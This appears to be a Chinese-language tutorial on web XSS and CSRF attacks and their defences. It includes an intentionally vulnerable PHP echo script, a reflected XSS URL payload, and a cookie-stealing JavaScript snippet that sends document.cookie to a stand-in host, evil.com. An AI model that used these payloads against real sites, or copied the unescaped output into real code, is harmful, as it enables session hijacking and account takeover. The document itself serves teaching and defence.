Web安全之XSS攻擊

XSS攻擊

XSS攻擊簡介

跨站腳本攻擊(XSS),英文全稱 Cross Site Script, 是Web安全頭號大敵。
XSS攻擊，通常是指黑客經過在網頁中注入惡意腳本，當用戶瀏覽網頁時，惡意腳本執行，控制用戶瀏覽器行爲的一種攻擊方式。其中，XSS攻擊一般分爲反射型XSS、存儲型XSS、DOM Based XSS三種。能夠經過如下例子看看XSS攻擊是如何產生的。

一個簡單的例子

本地服務器的的/xssTest 目錄下，有一個test.php文件，代碼以下：

<?php
    $userName=$_GET['userName'];                    //獲取用戶輸入的參數
    echo "<b>".$userName."</b>";                    //直接輸出用戶的參數給前端頁面
?>

正常狀況下，用戶提交的姓名能夠正確顯示在頁面上，不會構成XSS攻擊，好比，當用戶訪問如下URL：

http://localhost/xssTest/test.php?userName=jack

頁面會顯示：

能夠看到，用戶在URL中輸入的參數正常顯示在頁面上。

而後，咱們嘗試在URL中插入JavaScript代碼，如：

http://localhost/xssTest/test.php?userName=<script>window.open(http://www.baidu.com)</script>

則頁面會顯示：

能夠看到，頁面沒有把userName後面的內容顯示出來，並且打開了一個新的標籤頁,緣由是在URL中帶有一段打開另外一標籤頁的惡意腳本。
這個例子雖然簡短，但體現了最簡單的XSS攻擊的完整流程。

XSS攻擊類型

根據攻擊的方式，XSS攻擊能夠分爲三類：反射型XSS、存儲型XSS、DOM Based XSS。

__反射型XSS__也被稱爲非持久性XSS,這種攻擊方式把XSS的Payload寫在URL中，經過瀏覽器直接「反射」給用戶。這種攻擊方式一般須要誘使用戶點擊某個惡意連接，才能攻擊成功。
__存儲型XSS__又被稱爲持久性XSS,會把黑客輸入的惡意腳本存儲在服務器的數據庫中。當其餘用戶瀏覽頁面包含這個惡意腳本的頁面，用戶將會受到黑客的攻擊。一個常見的場景就是黑客寫下一篇包含惡意JavaScript腳本的博客文章，當其餘用戶瀏覽這篇文章時，惡意的JavaScript代碼將會執行。
DOM Based XSS 是一種利用前端代碼漏洞進行攻擊的攻擊方式。前面的反射型XSS與存儲型XSS雖然惡意腳本的存放位置不一樣，但其本質都是利用後端代碼的漏洞。
反射型和存儲型xss是服務器端代碼漏洞形成的，payload在響應頁面中，DOM Based中，payload不在服務器發出的HTTP響應頁面中，當客戶端腳本運行時（渲染頁面時），payload纔會加載到腳本中執行。

XSS攻擊的危害

咱們把進行XSS攻擊的惡意腳本成爲XSS Payload。XSS Payload的本質是JavaScript腳本，因此JavaScript能夠作什麼，XSS攻擊就能夠作什麼。
一個最多見的XSS Payload就是盜取用戶的Cookie,從而發起Cookie劫持攻擊。Cookie中，通常會保存當前用戶的登陸憑證，若是Cookie被黑客盜取，覺得着黑客有可能經過Cookie直接登進用戶的帳戶，進行惡意操做。
以下所示，攻擊者先加載一個遠程腳本：

http://localhost/xssTest/test.php?userName=<scriipt src=http://www.evil.com/evil.js></script>

而真正的XSS Payload，則寫在遠程腳本evil.js中。在evil.js中，能夠經過下列代碼竊取用戶Cookie：

var img=document.createElement("img");
img.src="http://www.evil.com/log?"+escape(document.cookie);  
document.body.appendChild(img);

這段代碼插入了一張看不見的圖片，同時把document.cookie做爲參數，發到遠程服務器。黑客在拿到cookie後，只須要替換掉自身的cookie，就能夠登入被盜取者的帳戶，進行惡意操做。
一個網站的應用只須要接受HTTP的POST請求和GET請求，就能夠完成全部的操做，對於黑客而言，僅經過JavaScript就能夠完成這些操做。

防護

其實現在一些流行的瀏覽器都內置了一些對抗XSS的措施，好比Firefox的CSP、IE 8內置的XSS Filter等。除此以外，還有如下防護手段

HttpOnly

HttpOnly最先是由微軟提出，並在IE6中實現的，至今已逐漸成爲一個標準。瀏覽器將禁止頁面的JavaScript訪問帶有HttpOnly 屬性的Cookie。如下瀏覽器開始支持HttpOnly:

• Microsoft IE 6 SP1+
• Mozilla FireFox 2.0.0.5+
• Mozilla Firefox 3.0.0.6+
• Google Chrome
• Apple Safari 4.0+

• Opera 9.5+
  一個Cookie的使用過程以下：
  Step1: 瀏覽器向服務器發送請求，這時候沒有cookie。
  Step2: 服務器返回同時，發送Set-Cookie頭，向客戶端瀏覽器寫入Cookie。
  Step3: 在該Cookie到期前，瀏覽器訪問該域名下全部的頁面，都將發送該Cookie。
  而HttpOnly是在Set-Cookie時標記的。

  輸入檢查

  常見的Web漏洞，如XSS、SQL注入等，都要求攻擊者構造一些特殊的字符串，而這些字符串是通常用戶不會用到的，因此進行輸入檢查就頗有必要了。
  輸入檢查能夠在用戶輸入的格式檢查中進行。不少網站的用戶名都要求是字母及數字的組合如「abc1234」，其實也能過濾一部分的XSS和SQL注入。可是，這種在客戶端的限制很容易被繞過，攻擊者能夠用JavaScript或一些請求工具，直接構造請求，想網站注入XSS或者SQL。因此，除了在客戶端進行格式檢查，每每還須要在後端進行二次檢查。客戶端的檢查主要做用是阻擋大部分誤操做的正經常使用戶，從而節約服務器資源。

對輸出轉義

在輸出數據以前對潛在的威脅的字符進行編碼、轉義是防護XSS攻擊十分有效的措施。
爲了對抗XSS,在HtmlEncode中至少轉換如下字符：

< 轉成 &lt;

> 轉成 &gt;

& 轉成 &amp;

「 轉成 &quot;

‘ 轉成 &#39

CSRF攻擊及防禦

1、CSRF是什麼

CSRF全稱爲跨站請求僞造（Cross-site request forgery），是一種網絡攻擊方式，也被稱爲 one-click attack 或者 session riding。

2、CSRF攻擊原理

CSRF攻擊利用網站對於用戶網頁瀏覽器的信任，挾持用戶當前已登錄的Web應用程序，去執行並不是用戶本意的操做。

3、CSRF攻擊實例

角色：

• 正常瀏覽網頁的用戶：User
• 正規的可是具備漏洞的網站：WebA
• 利用CSRF進行攻擊的網站：WebB

流程：
1.用戶登陸、瀏覽並信任正規網站WebA，同時，WebA經過用戶的驗證並在用戶的瀏覽器中產生Cookie。

2.攻擊者WebB經過在WebA中添加圖片連接等方式誘導用戶User訪問網站WebB。

3.在用戶User被誘導訪問WebB後，WebB會利用用戶User的瀏覽器訪問第三方網站WebA，併發出操做請求。

4.用戶User的瀏覽器根據WebB的要求，帶着步驟一中產生的Cookie訪問WebA。

5.網站WebA接收到用戶瀏覽器的請求，WebA沒法分辨請求由何處發出，因爲瀏覽器訪問時帶上用戶的Cookie，所以WebA會響應瀏覽器的請求，如此一來，攻擊網站WebB就達到了模擬用戶操做的目的。

4、CSRF攻擊防禦
上文簡單的敘述了CSRF攻擊的原理，接下來將要介紹幾種CSRF攻擊的防禦方法。

• 只使用JSON API
  使用JavaScript發起AJAX請求是限制跨域的，並不能經過簡單的

  表單來發送JSON，因此，經過只接收JSON能夠很大可能避免CSRF攻擊。

• 驗證HTTP Referer字段
  根據 HTTP 協議，在 HTTP 頭中有一個字段叫 Referer，它記錄了該 HTTP 請求的來源地址。在一般狀況下，訪問一個安全受限頁面的請求來自於同一個網站，好比上文中用戶User想要在網站WebA中進行轉帳操做，那麼用戶User
  • 必須先登陸WabA
  • 而後再經過點擊頁面上的按鈕出發轉帳事件

這時該轉賬請求的 Referer 值就會是轉帳按鈕所在的頁面的URL，而若是黑客要對銀行網站實施 CSRF攻擊，他只能在他本身的網站構造請求，當用戶User經過黑客的網站發送請求到WebA時，該請求的 Referer 是指向黑客本身的網站。
所以，要防護 CSRF 攻擊，網站WebA只須要對於每個轉帳請求驗證其 Referer 值，若是是以網站WebA的網址開頭的域名，則說明該請求是來自WebA本身的請求，是合法的。若是 Referer 是其餘網站的話，則有多是黑客的 CSRF 攻擊，拒絕該請求。

• 在請求地址中添加takon驗證

CSRF 攻擊之因此可以成功，是由於黑客能夠徹底僞造用戶的請求，該請求中全部的用戶驗證信息都是存在於 cookie 中，所以黑客能夠在不知道這些驗證信息的狀況下直接利用用戶本身的 cookie 來經過安全驗證。要抵禦 CSRF，關鍵在於在請求中放入黑客所不能僞造的信息，而且該信息不存在於 cookie 之中。能夠在 HTTP 請求中以參數的形式加入一個隨機產生的 token，並在服務器端創建一個攔截器來驗證這個 token，若是請求中沒有 token 或者 token 內容不正確，則認爲多是 CSRF 攻擊而拒絕該請求。 這種方法要比檢查 Referer 要安全一些，token 能夠在用戶登錄後產生並放於 session 之中，而後在每次請求時把 token 從 session 中拿出，與請求中的 token 進行比對。